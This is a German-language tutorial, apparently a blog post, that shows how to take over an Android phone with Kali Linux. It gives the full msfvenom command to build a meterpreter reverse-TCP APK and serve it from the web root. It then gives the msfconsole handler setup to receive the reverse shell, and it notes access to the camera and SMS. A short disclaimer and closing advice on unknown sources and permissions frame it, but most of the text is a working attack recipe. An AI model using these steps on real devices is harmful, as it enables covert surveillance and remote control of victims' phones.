Kali Linux Android hack
Ein Hinweis vorweg: Ich übernehme keinerlei Haftung für Schäden, die durch diesen Artikel verursacht wurden. Ein mutwilliges Hacken anderer ist eine Straftat, führt diesen Selbstversuch also bitte nur bei euren Geräten aus.
Wer ein Android Handy hacken möchte, braucht dazu nicht viel. Es ist leider auch sehr erschreckend wie wenig es benötigt, damit der Hack erfolgreich ausgeführt werden kann. Zum einen reicht Kali Linux und die vermeintliche Unachtsamkeit des Smartphone Users, damit der Angreifer vollen Zugriff auf das Handy hat. Meine Teststellung bestand aus einem Samsung S5 Neo, geflasht auf Android 6 und meinem Laptop, auf dem ich eine virtuelle Appliance mit Kali Linux habe. Beide Geräte müssen für diesen Test im gleichen Netz sein.
Smartphone
Ich hatte vorher von Unachtsamkeit des Smartphone User gesprochen. Damit meine ich eine Installation aus unbekannter Quelle, die standardmäßig von Android deaktiviert ist. Ohne das Zuschalten dieser Option würde dieser Hack nicht funktionieren, da aus Sicherheitsgründen die Installation solcher Apps verhindert wird.
Ist dieser Punkt jedoch erlaubt und die App führt die Installation aus, werden die Berechtigungen abgefragt.
Erst nach Bestätigung dieser Berechtigungen, funktioniert der Hack. Das Smartphone ist somit infiziert und verbindet sich mit dem Hacker, der nun die Kontrolle hat.
Kali Linux
Mit ifconfig schauen wir nach der IP Adresse von Kali, die wir später noch benötigen. Erzeugt nun die .apk File für das Smartphone, die, sobald ausgeführt, eine reverse shell zum Angreifer(LHOST) herstellt. Mit > wird der Code in eine .apk geschrieben.
msfvenom -p android/meterpreter/reverse_tcp LHOST=<attacker address> LPORT=4444 R > /var/www/html/test.apk
LHOST muss mit der IP getauscht werden, die wir zuvor mit ifconfig ermittelt haben. Nun müssen wir Kali Linux einrichten, damit auf Port 4444 gelauscht wird. Zu diesem Port verbindet sich die .apk später vom Smartphone aus. Beim Ausführen der App, versucht diese sich mit dem Angreifer auf Port 4444 zu verbinden. Die apk lasse ich extra im html Verzeichnis erstellen, damit wir diese später einfach vom Smartphone aus abgreifen können. Auf dem Smartphone reicht dann ein ansurfen auf <attacker address>/test.apk und die Datei wird heruntergeladen.
In Kali starten wir unser Werkzeug mit
msfconsole
und suchen uns einen Exploit aus.
use exploit/multi/handler
Es fehlt noch ein Payload, den wir wie folgt laden
set payload android/meterpreter/reverse_tcp
Damit wir die Konfigurationsmöglichkeiten vom Payload erfahren, führen wir show options aus.
show options
Wir müssen LHOST mit der IP des Angreifers setzen, LHOST steht hierbei für [L]ocalHOST, also die Angreifer Maschine.
set LHOST <attacker address>
Die Konfiguration des Exploits wäre damit getan und wir führen ihn aus.
exploit
Der Port 4444 ist nun geöffnet und unser Exploit lauscht darauf. Dies können wir mit netstat überprüfen.
netstat -tapen | grep 4444
Ergibt dieser Befehl keine Rückmeldung, so ist etwas beim Starten des Exploits schief gelaufen.
Sobald das Opfer die App ausgeführt hat, öffnet sich eine reverse shell und wir(Angreifer) haben vollen Zugriff auf das Smartphone. Die reverse Shell kommuniziert dabei mit unserem Laptop auf Port 4444, den wir ja zuvor geöffnet hatten.
Mit dem help command lassen wir uns unterschiedlichste Möglichkeiten anzeigen. Von Kamera Überwachung bis hin zum SMS senden, ist dort alles vertreten.
Das Smartphone wäre somit in der Hand des Hackers, ohne dass der Benutzer es überhaupt großartig mitbekommen kann. Jedoch kann man sich hiervor schützen, in dem Installationen aus unbekannter Quelle per Default nicht erlaubt werden. Installationen aus dem Playstore sollten zu ~99.9% sicher sein. Ein weiterer Indiz ist die Masse an Berechtigung, die die APK verlangt. Eine App sollte nie mehr Berechtigung bekommen, als ihr eigentlicher Zweck ist.